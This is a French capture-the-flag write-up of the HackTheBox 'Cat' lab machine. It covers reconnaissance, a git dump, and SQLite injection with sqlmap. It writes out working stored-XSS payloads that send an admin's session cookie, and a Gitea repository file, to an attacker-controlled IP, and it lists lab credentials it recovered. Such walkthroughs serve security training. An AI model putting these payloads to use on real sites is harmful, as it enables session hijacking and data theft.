Cat HackTheBox (WriteUp)

Hack The Boxapp.hackthebox.com

Skills:

• Directory Fuzzing (.git file)

• Source Code Analysis (Git Repository Dump)

• Stored XSS Exploitation & Session Hijacking

• SQL Injection (SQLite) using sqlmap

• Password Hash Cracking

• Port Forwarding via SSH

• Exploitation of Gitea (v1.22.0) – Stored XSS

• Sensitive Data Exfiltration via XSS Payloads

Reconnaissance

Création de l'espace de travail :

Nous établirons notre espace de travail en créant trois dossiers pour stocker les contenus importants, les exploits et les résultats de la reconnaissance à l'aide de Nmap.

Vérification de la Connectivité VPN

Vérification de la connexion VPN pour assurer une communication stable avec la machine cible.

Recherche des ports ouverts avec Nmap :

Exploration des ports ouverts et exportation dans le fichier "allPorts" dans le répertoire Nmap:

nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.11.53 -oG allPorts

Scan de la version des ports avec Nmap:

Utilisation de Nmap pour scanner la version des ports et extraction des informations dans le fichier "targeted" :

nmap -sCV -p22,80 10.10.11.53 -oN targeted

Pour résoudre les noms de domaine en adresses IP via DNS, on insère dans le fichier /etc/hosts le nom de domaine associé à son adresse IP:

Port 80 - HTTP

En accédant au site http://cat.htb, on trouve un formulaire d’enregistrement.

On remarque également une fonctionnalité de vote.

Fuzzing des répertoires

On lance gobuster pour découvrir des chemins cachés :

gobuster dir -u http://cat.htb/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 -x php

Cela révèle plusieurs fichiers intéressants, notamment un répertoire .git.

Dump du dépôt Git

On utilise git-dumper pour récupérer le contenu du dépôt :

git-dumper http://cat.htb/.git git

En inspectant le code source, on identifie une vulnérabilité SQL ainsi qu’une possibilité de XSS stockée.

Vulnérabilité XSS

L’application accepte les champs nom d’utilisateur et email sans filtrage approprié. Cela permet l’injection de scripts malveillants.

Payload XSS

On crée un utilisateur avec le nom suivant :

<script>document.location='http://10.10.14.154:8081/?c='+document.cookie;</script>

Réception du cookie admin

On écoute sur le port 8081 :

python -m http.server 8081

Une fois le cookie capturé, on obtient la session de l’administrateur :

On modifie notre cookie de session pour celui de l’admin et accédons à la console d'administration.

Injection SQL (SQLite)

Avec un accès admin, on lance sqlmap sur un formulaire vulnérable

sqlmap -u "http://cat.htb/accept_cat.php" --cookie="PHPSESSID=i4cao7dtdfk1bs713p57cfq719" --data="catId=1&catName=123" -p catName --level 3 --risk 3 --batch --random-agent --tables --dump --dbms=sqlite --threads 10

Récupération des hashes

On obtient les hashs des mots de passe des utilisateurs. Voici quelques exemples :

d1bbba3670feb9435c9841e46e60ee2f
ac369922d560f17d6eeb8b2c7dec498c
42846631708f69c00ec0c0a8aa4a92ad
39e153e825c4a3d314a0dc7f7475ddbe
781593e060f8d065cd7281c5ec5b4b86
1b6dce240bbfbc0905a664ad199e18f8
c598f6b844a36fa7836fba0835f1f6
e41ccefa439fc454f7eadbf1f139ed8a
24a8ec003ac2e1b3c5953a6f95f8f565
88e4dceccd48820cf77b5cf6c08698ad

Crack des mots de passe

À l’aide de CrackStation, on réussit à identifier le mot de passe de l’utilisateur rosa :

CrackStation - Online Password Hash Cracking - MD5, SHA1, Linux, Rainbow Tables, etc.crackstation.net

• username : rosa

• password : soyunaprincesarosa

Connexion SSH avec les identifiants récupérés :

ssh [email protected]

Pivoting User Axel

Enumeration LinPEAS:

./linpeas.sh

Release Release refs/heads/master 20250401-a1b119bc · peass-ng/PEASS-ngGitHub

Rosa est dans le groupe adm, accès à:

cat /var/log/apache2/access.log | grep "axel"

Identifiants trouvés :

• Username: axel

• Password : aNdZwgC4tI9gnVXv_e3Q

Flag user.txt :)

Escalade de privilège

Découverte de ports internes :

netstat -tuln

• Node.js (port 3000)

• SMTP (587, 25)

Services identifiés

Redirection de ports

sudo ssh -L 3000:127.0.0.1:3000 -L 587:127.0.0.1:587 -L 25:127.0.0.1:25 [email protected]

Vulnérabilité XSS sur Gitea (v1.22.0)

Sur http://localhost:3000 ➜ Gitea accessible.

Connexion avec les identifiants d’Axel.

Vulnérabilité XSS connue.

On crée un projet avec une description contenant :

<a href=javascript:alert()>XSS test</a>

• Résultat:

Mail intercepté via LinPEAS

Contenu d’un email :

• jobert@localhost doit vérifier le dépôt Gitea

On envoie un lien XSS contenant un script d’exfiltration qui lit le contenu de la page index.php du dépôt Gitea, l’encode en Base64, puis l’envoie vers notre serveur web

<a href="javascript:fetch('http://localhost:3000/administrator/Employee-management/raw/branch/main/index.php').then(response => response.text()).then(data => fetch('http://10.10.14.192:8080/?d=' + encodeURIComponent(btoa(unescape(encodeURIComponent(data))))));">PWNED</a>

Via notre serveur web

python -m http.server 8080

Contenu exfiltré (base64 décodé) :

echo "PD9waHAKJHZhbGlkX3VzZXJuYW1lID0gJ2FkbWluJzsKJHZhbGlkX3Bhc3N3b3JkID0gJ0lLdzc1ZVIwTVI3Q01JeGhIMCc7CgppZiAoIWlzc2V0KCRfU0VSVkVSWydQSFBfQVVUSF9VU0VSJ10pIHx8ICFpc3NldCgkX1NFUlZFUlsnUEhQX0FVVEhfUFcnXSkgfHwgCiAgICAkX1NFUlZFUlsnUEhQX0FVVEhfVVNFUiddICE9ICR2YWxpZF91c2VybmFtZSB8fCAkX1NFUlZFUlsnUEhQX0FVVEhfUFcnXSAhPSAkdmFsaWRfcGFzc3dvcmQpIHsKICAgIAogICAgaGVhZGVyKCdXV1ctQXV0aGVudGljYXRlOiBCYXNpYyByZWFsbT0iRW1wbG95ZWUgTWFuYWdlbWVudCInKTsKICAgIGhlYWRlcignSFRUUC8xLjAgNDAxIFVuYXV0aG9yaXplZCcpOwogICAgZXhpdDsKfQoKaGVhZGVyKCdMb2NhdGlvbjogZGFzaGJvYXJkLnBocCcpOwpleGl0Owo%2FPgoK" | base64 -d 

• $valid_username = 'admin';

• $valid_password = 'IKw75eR0MR7CMIxhH0';

Escalade root

Il y a une réutilisation d'identifants pour l'user root

su root

Flag root.txt :)